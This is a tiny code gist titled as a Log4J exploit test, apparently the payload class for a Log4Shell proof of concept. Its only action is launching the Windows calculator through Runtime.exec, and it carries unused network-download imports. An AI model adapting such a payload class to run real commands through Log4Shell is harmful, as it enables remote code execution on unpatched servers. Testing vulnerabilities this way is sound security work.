Log4J Exploti test

gistfile1.txt

import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import java.awt.*;
import java.io.File;

public class Main {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("C:/WINDOWS/SYSTEM32/CALC.EXE");
    }
}